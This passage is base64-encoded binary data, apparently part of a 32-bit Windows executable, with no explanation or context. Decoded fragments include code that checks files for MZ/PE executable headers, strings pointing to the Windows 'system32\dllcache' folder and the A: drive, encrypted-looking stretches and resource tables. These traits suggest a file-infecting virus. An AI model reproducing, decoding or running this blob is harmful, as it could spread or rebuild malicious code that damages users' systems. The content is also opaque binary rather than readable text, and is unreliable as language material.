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 MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAJikAgFgAAIAeKQCAcAAAgC4pAIDYAACAAQAAAAgBAIACAAAA IAEAgAMAAACQAwCADAAAAHAGAIAOAAAAiAYAgBAAAACABwCAAAAAAAAAAAAAAAAAAAABAKAB AACYBwCAAAAAAAAAAAAAAAAAAAALANQAAACwBwCA1QAAAMgHAIDWAAAA4AcAgNcAAAD4BwCA 2AAAABAIAIDaAAAAKAgAgL0CAABACACAvwIAAFgIAIDBAgAAcAgAgMMCAACICACAxQIAAKAI AIAAAAAAAAAAAAAAAAAAAAQAAQAAALgIAIACAAAA0AgAgAMAAADoCACABAAAAAAJAIAAAAAA AAAAAAAAAAAAAAEAAQAAABgJAIAAAAAAAAAAAAAAAAABAEsACCkAgDAJAIAOAQAASAkAgA8B AABgCQCAEQEAAHgJAIASAQAAkAkAgBMBAACoCQCAFAEAAMAJAIAVAQAA2AkAgBYBAADwCQCA kQEAAAgKAICSAQAAIAoAgJQBAAA4CgCAlgEAAFAKAICXAQAAaAoAgJgBAACACgCAmQEAAJgK AICaAQAAsAoAgJsBAADICgCApwEAAOAKAICqAQAA+AoAgPUBAAAQCwCA9gEAACgLAID3AQAA QAsAgPgBAABYCwCA+QEAAHALAID6AQAAiAsAgPsBAACgCwCA/AEAALgLAID9AQAA0AsAgP4B AADoCwCA/wEAAAAMAIAAAgAAGAwAgAECAAAwDACAAgIAAEgMAIADAgAAYAwAgAQCAAB4DACA BQIAAJAMAIAGAgAAqAwAgAcCAADADACACAIAANgMAIAJAgAA8AwAgAoCAAAIDQCACwIAACAN AIAMAgAAOA0AgA0CAABQDQCADgIAAGgNAIAPAgAAgA0AgBACAACYDQCAEQIAALANAIASAgAA yA0AgBMCAADgDQCAFAIAAPgNAIAVAgAAEA4AgBYCAAAoDgCAFwIAAEAOAIAYAgAAWA4AgBkC AABwDgCAGgIAAIgOAIAbAgAAoA4AgBwCAAC4DgCAHQIAANAOAIAeAgAA6A4AgB8CAAAADwCA IAIAABgPAIAhAgAAMA8AgCICAABIDwCAIwIAAGAPAIAkAgAAeA8AgCUCAACQDwCAXwIAAKgP AIBgAgAAwA8AgGECAADYDwCAYgIAAPAPAIC8AgAACBAAgMcCAAAgEACAyAIAADgQAIAAAAAA AAAAAAAAAAAAAFoAAgAAAFAQAIADAAAAaBAAgAQAAACAEACABQAAAJgQAIAGAAAAsBAAgAcA AADIEACACAAAAOAQAIAJAAAA+BAAgAoAAAAQEQCACwAAACgRAIAMAAAAQBEAgA0AAABYEQCA DgAAAHARAIAPAAAAiBEAgBAAAACgEQCAEQAAALgRAIASAAAA0BEAgBMAAADoEQCAFAAAAAAS AIAVAAAAGBIAgBYAAAAwEgCAFwAAAEgSAIAYAAAAYBIAgBkAAAB4EgCAGgAAAJASAIAbAAAA qBIAgBwAAADAEgCAHQAAANgSAIAeAAAA8BIAgB8AAAAIEwCAIAAAACATAIAhAAAAOBMAgCIA AABQEwCAIwAAAGgTAIAkAAAAgBMAgCUAAACYEwCAJgAAALATAIAnAAAAyBMAgCgAAADgEwCA KQAAAPgTAIAqAAAAEBQAgCsAAAAoFACALAAAAEAUAIAtAAAAWBQAgC4AAABwFACALwAAAIgU AIAwAAAAoBQAgDEAAAC4FACAMgAAANAUAIAzAAAA6BQAgDQAAAAAFQCANQAAABgVAIA2AAAA MBUAgDcAAABIFQCAOAAAAGAVAIA5AAAAeBUAgDoAAACQFQCAOwAAAKgVAIA8AAAAwBUAgD0A AADYFQCAPgAAAPAVAIA/AAAACBYAgEAAAAAgFgCAQQAAADgWAIBCAAAAUBYAgEMAAABoFgCA RAAAAIAWAIBFAAAAmBYAgEYAAACwFgCARwAAAMgWAIBIAAAA4BYAgEkAAAD4FgCASgAAABAX AIBLAAAAKBcAgEwAAABAFwCATQAAAFgXAIBOAAAAcBcAgE8AAACIFwCAUAAAAKAXAIBRAAAA uBcAgFIAAADQFwCAUwAAAOgXAIBUAAAAABgAgFUAAAAYGACAVgAAADAYAIBXAAAASBgAgFgA AABgGACAWQAAAHgYAIBaAAAAkBgAgFsAAACoGACAAAAAAAAAAAAAAAAAAAABAMQJAADAGACA AAAAAAAAAAAAAAAAAAAdAAEAAADYGACAAgAAAPAYAIADAAAACBkAgAQAAAAgGQCAZAAAADgZ AIBlAAAAUBkAgMgAAABoGQCAyQAAAIAZAIDKAAAAmBkAgMsAAACwGQCAzAAAAMgZAIDNAAAA 4BkAgM4AAAD4GQCAzwAAABAaAIDQAAAAKBoAgNEAAABAGgCA0gAAAFgaAIDTAAAAcBoAgNkA AACIGgCA2wAAAKAaAIDcAAAAuBoAgN0AAADQGgCA3gAAAOgaAIDfAAAAABsAgOAAAAAYGwCA 4QAAADAbAIAIAQAASBsAgC0BAABgGwCALgEAAHgbAIAAAAAAAAAAAAAAAAAAAAEAAQAAAJAb AIAAAAAAAAAAAAAAAAAAAAEACQQAAKgbAAAAAAAAAAAAAAAAAAAAAAEACQQAALgbAAAAAAAA AAAAAAAAAAAAAAEACQQAAMgbAAAAAAAAAAAAAAAAAAAAAAEACQQAANgbAAAAAAAAAAAAAAAA AAAAAAEACQQAAOgbAAAAAAAAAAAAAAAAAAAAAAEACQQAAPgbAAAAAAAAAAAAAAAAAAAAAAEA CQQAAAgcAAAAAAAAAAAAAAAAAAAAAAEACQQAABgcAAAAAAAAAAAAAAAAAAAAAAEACQQAACgc AAAAAAAAAAAAAAAAAAAAAAEACQQAADgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAEgcAAAAAAAA AAAAAAAAAAAAAAEACQQAAFgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAGgcAAAAAAAAAAAAAAAA AAAAAAEACQQAAHgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgcAAAAAAAAAAAAAAAAAAAAAAEA CQQAAJgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgcAAAAAAAAAAAAAAAAAAAAAAEACQQAALgc AAAAAAAAAAAAAAAAAAAAAAEACQQAAMgcAAAAAAAAAAAAAAAAAAAAAAEACQQAANgcAAAAAAAA AAAAAAAAAAAAAAEACQQAAOgcAAAAAAAAAAAAAAAAAAAAAAEACQQAAPgcAAAAAAAAAAAAAAAA AAAAAAEACQQAAAgdAAAAAAAAAAAAAAAAAAAAAAEACQQAABgdAAAAAAAAAAAAAAAAAAAAAAEA CQQAACgdAAAAAAAAAAAAAAAAAAAAAAEACQQAADgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAEgd AAAAAAAAAAAAAAAAAAAAAAEACQQAAFgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAGgdAAAAAAAA AAAAAAAAAAAAAAEACQQAAHgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgdAAAAAAAAAAAAAAAA AAAAAAEACQQAAJgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgdAAAAAAAAAAAAAAAAAAAAAAEA CQQAALgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgdAAAAAAAAAAAAAAAAAAAAAAEACQQAANgd AAAAAAAAAAAAAAAAAAAAAAEACQQAAOgdAAAAAAAAAAAAAAAAAAAAAAEACQQAAPgdAAAAAAAA AAAAAAAAAAAAAAEACQQAAAgeAAAAAAAAAAAAAAAAAAAAAAEACQQAABgeAAAAAAAAAAAAAAAA AAAAAAEACQQAACgeAAAAAAAAAAAAAAAAAAAAAAEACQQAADgeAAAAAAAAAAAAAAAAAAAAAAEA CQQAAEgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAFgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAGge AAAAAAAAAAAAAAAAAAAAAAEACQQAAHgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgeAAAAAAAA AAAAAAAAAAAAAAEACQQAAJgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgeAAAAAAAAAAAAAAAA AAAAAAEACQQAALgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgeAAAAAAAAAAAAAAAAAAAAAAEA CQQAANgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAOgeAAAAAAAAAAAAAAAAAAAAAAEACQQAAPge AAAAAAAAAAAAAAAAAAAAAAEACQQAAAgfAAAAAAAAAAAAAAAAAAAAAAEACQQAABgfAAAAAAAA AAAAAAAAAAAAAAEACQQAACgfAAAAAAAAAAAAAAAAAAAAAAEACQQAADgfAAAAAAAAAAAAAAAA AAAAAAEACQQAAEgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAFgfAAAAAAAAAAAAAAAAAAAAAAEA CQQAAGgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAHgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAIgf AAAAAAAAAAAAAAAAAAAAAAEACQQAAJgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgfAAAAAAAA AAAAAAAAAAAAAAEACQQAALgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAMgfAAAAAAAAAAAAAAAA AAAAAAEACQQAANgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAOgfAAAAAAAAAAAAAAAAAAAAAAEA CQQAAPgfAAAAAAAAAAAAAAAAAAAAAAEACQQAAAggAAAAAAAAAAAAAAAAAAAAAAEACQQAABgg 